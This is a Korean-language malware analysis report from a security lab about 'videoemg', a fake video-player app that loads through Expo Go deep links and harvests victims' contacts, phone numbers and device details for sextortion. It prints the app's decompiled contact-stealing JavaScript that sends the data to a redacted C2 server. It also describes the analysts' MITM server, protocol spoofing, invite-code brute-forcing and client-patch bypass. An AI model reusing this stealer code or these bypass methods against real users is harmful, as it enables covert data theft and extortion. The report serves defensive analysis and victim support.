버전: v1.0
분석일: 2026-07-29
분석 수준: dynamic (MITM + 에뮬레이터 동적 분석)
위협 등급: CRITICAL
항목 · 값
표시명 · Video Player
부제 · HD 스트리밍 서비스
배포 URL · [비공개]
프레임워크 · Expo Go SDK 54.0.0 (exp:// 딥링크 악용)
선언 패키지 · [비공개]
번들 형식 · Raw JavaScript (HBC 아님)
번들 크기 · 4,771,568 bytes (110,757 lines)
번들 SHA256 · `2dfeaff53039d2d95dd75f2c18edb9506ec3bfc4f881bca9f3aef53aa04031f6`
패밀리 · expowave (초대코드 게이트 변종 — 최초 확인)
기존 expowave 패밀리와 동일하게 Expo Go 앱을 로더로 악용한다. 피해자가 배포 사이트([비공개])에 접속하면 exp://[비공개] 딥링크로 Expo Go가 실행되고, C2의 Metro bundler에서 악성 JS 번들을 실시간 로드한다. 독립 APK가 존재하지 않으므로 기존 정적 분석이 불가능하다.
서버 · 주소 · 포트 · 역할
Metro Bundler · [비공개] · 8082 · JS 번들 + 매니페스트 서빙
API Backend · [비공개] · 3001 · Node.js — 데이터 수집, 코드 검증, 영상 목록
배포 사이트 · [비공개] · 443 · SSL, 썸네일 이미지 호스팅
· Metro 매니페스트: expo-protocol-version: 0 (클래식 Metro 프로토콜)
· Packager status: /status → packager-status:running (플레인텍스트)
· 프로젝트 루트: /var/www/[비공개] (Linux 서버 확인)
· 번들 전달: transform.bytecode=1 파라미터가 있으나 실제로는 Raw JS 반환 (HBC 미사용)
· 인증: `[비공개] 엔드포인트 존재하나 Basic Auth 보호 (25+ 자격증명 조합 실패)
번들 line 106825~107258에 걸쳐 App 컴포넌트가 4개 상태를 순환한다:
피해자에게 전화번호와 초대코드를 요구한다.
```javascript
// line 106875
var phoneRegex = /^010\d{8}$/;
if (!phoneRegex.test(inputPhone)) {
Alert.alert('유효성 검사', '유효한 전화번호를 입력해주십시오.');
return;
}
if (!code.trim()) {
Alert.alert('오류', '코드를 입력해주세요');
return;
}
```
· 전화번호: 010으로 시작하는 한국 휴대폰 번호만 허용
· 인증코드: autoCapitalize: "characters" — 대문자 강제 입력
서버 측 초대코드 검증 — expowave 패밀리 최초 확인된 방어 메커니즘.
```javascript
// line 106888-106902
var verifyRes = yield fetch(SERVER + '[비공개], {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ code: code.trim() })
});
var verifyData = yield verifyRes.json();
if (!verifyData.valid) {
Alert.alert('오류', verifyData.message || '코드가 올바르지 않습니다');
setState('input');
return;
}
```
· Rate limiting 없음 (3,718+ 코드 브루트포스 시도 전부 허용)
· 응답 형식: {"valid": false, "message": "코드가 올바르지 않습니다"}
핵심 악성 동작. 연락처 권한을 요청하고 결과에 관계없이 서버로 전송한다.
```javascript
// line 106912-106964
var result = yield Contacts.requestPermissionsAsync();
var status = result.status;
var data = [];
if (status === 'granted') {
var contactResult = yield Contacts.getContactsAsync({
fields: [Contacts.Fields.PhoneNumbers, Contacts.Fields.Emails]
});
data = contactResult.data;
if (data.length === 0) {
data = [{ name: '연락처가 없습니다', phoneNumbers: [{ number: '00000000000' }] }];
}
} else {
data = [{ name: '권한이 허용되지 않았습니다', phoneNumbers: [{ number: '00000000000' }] }];
}
yield fetch(SERVER + '[비공개], {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
device_id: deviceId,
code: code.trim(),
device_name: deviceName,
device_model: Device.modelName || 'Unknown',
os_version: (Device.osName || '') + ' ' + (Device.osVersion || ''),
brand: Device.brand || 'Unknown',
contacts: data.map(function (c) {
return {
id: c.id || '',
name: c.name || '',
phone_numbers: c.phoneNumbers ? c.phoneNumbers.map(p => p.number || '') : [],
emails: c.emails ? c.emails.map(e => e.email || '') : []
};
}),
total_contacts: data.length
})
});
// 전화번호 별도 업데이트
yield fetch(SERVER + '[비공개], {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ device_id: deviceId, phone: inputPhone.trim(), code: code.trim() })
});
```
핵심 발견: 권한 거부 시에도 더미 데이터("권한이 허용되지 않았습니다")를 C2로 전송한다. 이를 통해 운영자는 피해자의 기기 정보와 전화번호를 확보하며, 권한 거부 사실도 인지한다. 또한 연락처 10건 미만이면 device_name을 "권한을 허용했지만 연락처를 0개 선택했습니다"로 설정하여 Android 14의 부분 연락처 공유(사용자 선택) 시나리오를 감지한다.
연락처 전송 완료 후 가짜 영상 목록을 표시한다.
```javascript
// line 106990-106993
var handlePress = function () {
Alert.alert('❌ 서버 오류',
'에러코드: 504-GW-TIMEOUT\n\n서버가 응답하지 않습니다.\n잠시 후 다시 시도해주십시오.',
[{ text: '확인' }]);
};
```
· GET `[비공개] → 9개 가짜 영상 목록 반환
· 썸네일은 선정적 이미지 ([비공개] 호스팅)
· 모든 영상 탭 → 하드코딩된 "504-GW-TIMEOUT" 서버 오류 표시
· 재생 가능한 실제 영상은 존재하지 않음 — 순수 기만
데이터 · 수집 방법 · API 엔드포인트
연락처 (이름/전화번호/이메일) · expo-contacts · POST [비공개]
[피해자 정보 비공개] · 사용자 입력 · POST [비공개]
기기 식별자 · Date.now() + Math.random() · upload-contacts body
기기 모델/OS/브랜드 · expo-device · upload-contacts body
초대코드 · 사용자 입력 · upload-contacts + update-phone body
```json
{
"device_id": "1722280000000_abc123def",
"code": "XXXXX",
"device_name": "기기명 또는 상태 메시지",
"device_model": "sdk_gphone64_x86_64",
"os_version": "Android 15",
"brand": "google",
"contacts": [
{
"id": "1",
"name": "홍길동",
"phone_numbers": ["010-**-**"],
"emails": ["hong@[비공개]"]
}
],
"total_contacts": 150
}
```
조건 · device_name 값 · 운영자 해석
권한 거부 · `"권한이 허용되지 않았습니다"` · 재시도 대상
허용, 연락처 <10건 · `"권한을 허용했지만 연락처를 0개 선택했습니다"` · 부분 공유 감지
허용, ≥10건 · `Device.deviceName` (실제 기기명) · 정상 탈취 완료
연락처 0건 · dummy `"연락처가 없습니다"` 전송 · 빈 기기 또는 새 기기
권한 · 용도 · 위험도
READ_CONTACTS · 연락처 탈취 (핵심 목적) · CRITICAL
WRITE_CONTACTS · 연락처 조작 가능 · HIGH
READ_EXTERNAL_STORAGE · 갤러리 접근 (레거시) · HIGH
WRITE_EXTERNAL_STORAGE · 파일 조작 (레거시) · HIGH
READ_MEDIA_VISUAL_USER_SELECTED · Android 14 부분 사진 접근 · HIGH
READ_MEDIA_IMAGES · 사진 탈취 · HIGH
READ_MEDIA_VIDEO · 동영상 탈취 · HIGH
READ_MEDIA_AUDIO · 음성 파일 탈취 · MEDIUM
ACCESS_COARSE_LOCATION · 대략 위치 추적 · HIGH
ACCESS_FINE_LOCATION · 정밀 위치 추적 · CRITICAL
현재 번들에서는 연락처 탈취만 구현되어 있으나 미디어 라이브러리(expo-media-library)와 위치(expo-location) 플러그인이 매니페스트에 선언되어 있어, C2 측에서 번들을 업데이트하면 추가 탈취가 즉시 가능하다.
> [비공개]
· 서버 API: POST [비공개] → {valid: bool, message: string}`
· 코드 관리: GET `[비공개] (Basic Auth 보호 — 관리자 전용)
· Rate limiting: 없음 (브루트포스 3,718회 시도 허용)
· 코드 발급 방식: 개별 피해자에게 1:1 발급 추정 (패턴 없는 랜덤)
독립 APK가 없으므로 정적 분석(jadx, apktool)이 불가능하다. 번들은 실시간으로 C2에서 다운로드되며 운영자가 언제든 코드를 변경할 수 있다.
항목 · videoemg (Expo Go) · factory_daol_new (독립 APK)
SDK · 54.0.0 · 56
번들 형식 · Raw JS (4.77MB) · HBC (1.31MB, magic `c61f bc03`)
패키지 · [비공개] · com.candy.videochat
초대코드 · 있음 (서버 검증) · 없음
데이터 탈취 · 연락처+전화번호+기기 · 연락처만
추가 플러그인 · expo-media-library, expo-location · 없음
실제 C2의 Metro 매니페스트를 정확히 복제하면서 번들만 패치 버전으로 교체하는 MITM 서버를 구축했다.
핵심 발견: Expo Go는 expo-protocol-version 헤더 값에 따라 매니페스트 파싱 방식이 완전히 달라진다.
· 0 = 클래식 Metro 프로토콜 (실제 C2가 사용)
· 1 = expo-updates 프로토콜 (서명된 매니페스트 필요)
초기 실패 원인은 프로토콜 버전 1을 반환한 것이었다. /status 엔드포인트도 JSON이 아닌 packager-status:running 플레인텍스트를 반환해야 한다.
LDPlayer 에뮬레이터에서 [비공개] (표준 Android 에뮬레이터 호스트 루프백)가 작동하지 않아 adb reverse tcp:8082 tcp:8082로 우회했다. 이로써 에뮬레이터 내부의 [비공개]가 호스트의 [비공개]로 포워딩된다.
코드 검증 fetch 호출을 제거하고 기본값 'BYPASS'를 설정하여 서버 검증 없이 다음 상태로 진행하도록 패치했다.
패치 위치: line ~106880-106907
패치 SHA256: c1d32bff8b3a54c66e6975dae917b1b696aeef76654b6306e0e1ad56cd88b197
단계 · 결과 · 증거
MITM 서버 접속 · ✅ · expo_local_test2.png — dev 메뉴에 "[비공개]" 확인
악성앱 UI 렌더링 · ✅ · expo_local_test4.png — 전화번호/인증코드 입력 화면
초대코드 바이패스 · ✅ · expo_local_test6_bypass.png — 연락처 권한 요청 다이얼로그
가짜 영상 목록 · ✅ · expo_local_test7_deny.png — "영상 목록" 화면
선정적 썸네일 + 가짜 오류 · ✅ · expo_local_test8_video.png — "504-GW-TIMEOUT"
1. 유인: "Video Player / HD 스트리밍 서비스" — 합법 영상 앱으로 위장
2. 접근 제한: 초대코드 요구 → 피해자가 공격자에게 의존하게 만듦
3. 권한 탈취: "영상을 보려면 권한이 필요합니다" 암시
4. 시간 벌기: 가짜 영상 목록 + "서버 오류" → 피해자가 재시도하는 동안 연락처 탈취 완료
5. 협박: 탈취한 연락처 + 전화번호로 몸캠피싱 협박 (본 앱 외부에서 진행)
하드코딩된 504-GW-TIMEOUT 오류는 실제 서버 장애가 아니다. 피해자가 "나중에 다시 시도"하게 만들어 앱을 삭제하지 않도록 유도하며, 운영자가 추가 악성 행위(미디어 탈취 등)를 준비할 시간을 확보한다.
GET `[비공개] 응답 (9개 엔트리):
ID · 썸네일 · 닉네임
1 · /uploads/1783220304624_sjx7io.png · 영상1
2 · /uploads/1783220321491_vo015p.png · 영상2
3 · /uploads/1783220350444_10vwu2.png · 영상3
4 · /uploads/1783223949554_ql1ba7.png · 영상4
5 · /uploads/1783224005538_tnhgy3.png · 영상5
6 · /uploads/1783224011900_0tufqi.png · 영상6
7 · /uploads/1783224018397_laowfv.png · 영상7
8 · /uploads/1783224153983_dostrr.png · 영상8
12 · /uploads/1783224445632_k5m1fk.png · (커스텀)
· 썸네일 타임스탬프(ms): 1783220304624 ~ 1783224445632 → 2026-07-03 (C2 설정일)
· 썸네일 크기: ~1.7MB (선정적 고화질 이미지)
· ID 9~11 결여: 운영자가 일부 삭제한 것으로 추정
· [비공개]
· [비공개]
· [비공개] (포트 3001, 8082)
· `[비공개] (배포 페이지)
· `[비공개] (코드 검증)
· `[비공개] (연락처 탈취)
· `[비공개] (전화번호 등록)
· `[비공개] (가짜 영상 목록)
· `[비공개] (악성 번들)
· exp://[비공개] (Expo Go 딥링크)
· 원본 번들 SHA256: 2dfeaff53039d2d95dd75f2c18edb9506ec3bfc4f881bca9f3aef53aa04031f6
· okhttp/4.12.0 (Expo Go 내장)
코드 · 기법 · 적용
OA-094 · Expo Go 딥링크 악용 · exp:// URL로 악성 번들 로드
SA-080 · JS 번들 정적 분석 · 4.77MB Raw JS 전체 분석
NW-121 · 번들 MITM/패칭 · Metro MITM 서버 + 패치 번들 서빙
SW-023 · ADB reverse 포트 포워딩 · 에뮬레이터↔호스트 네트워크 우회
**신규** · 초대코드 게이트 클라이언트 패치 · 서버 검증 호출 제거로 우회
**신규** · Metro 프로토콜 버전 0 위장 · expo-protocol-version: 0 + packager-status
videoemg는 expowave 악성앱 패밀리의 진화형으로, 서버 측 초대코드 게이트를 최초로 도입하여 분석가와 보안 연구자의 접근을 차단하는 새로운 방어 메커니즘을 보여준다.
1. 연락처 전면 탈취: 이름, 전화번호, 이메일 전량 수집
2. 권한 거부 감지: 거부해도 기기 정보와 전화번호가 유출됨
3. 확장 가능 아키텍처: expo-media-library + expo-location 플러그인 선언 — 번들 업데이트만으로 사진/위치 탈취 즉시 가능
4. 실시간 코드 변경: 번들이 C2에서 실시간 서빙되므로 운영자가 탐지 회피를 위해 코드를 수시로 변경 가능
5. 사회공학 정교화: 초대코드 메커니즘 + 가짜 서버 오류 + 선정적 썸네일의 조합
```
🔬 기법 점검:
· 시도한 기법: OA-094, SA-080, NW-121, SW-023
· 확장된 기법: NW-121 (Metro 프로토콜 버전 위장 추가)
· 신규 기법: 초대코드 게이트 클라이언트 패치, Metro proto-v0 위장
· 한계 발견: 브루트포스 3,718회에도 유효 코드 미발견 (피해자 1:1 발급 추정)
```
```
혁신 점검:
· 새 아이디어/시도: 서버측 코드 검증을 클라이언트 패치로 우회
· 결과: 성공 — 전체 악성 흐름 실증 (입력→바이패스→권한요청→가짜영상)
· 기법 카탈로그 반영: NW-121 확장 + 2개 신규 등재 필요
· 다음 앱에서 시도할 아이디어: Expo Go 번들 캐시 조작으로 오프라인 패치 적용
```
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr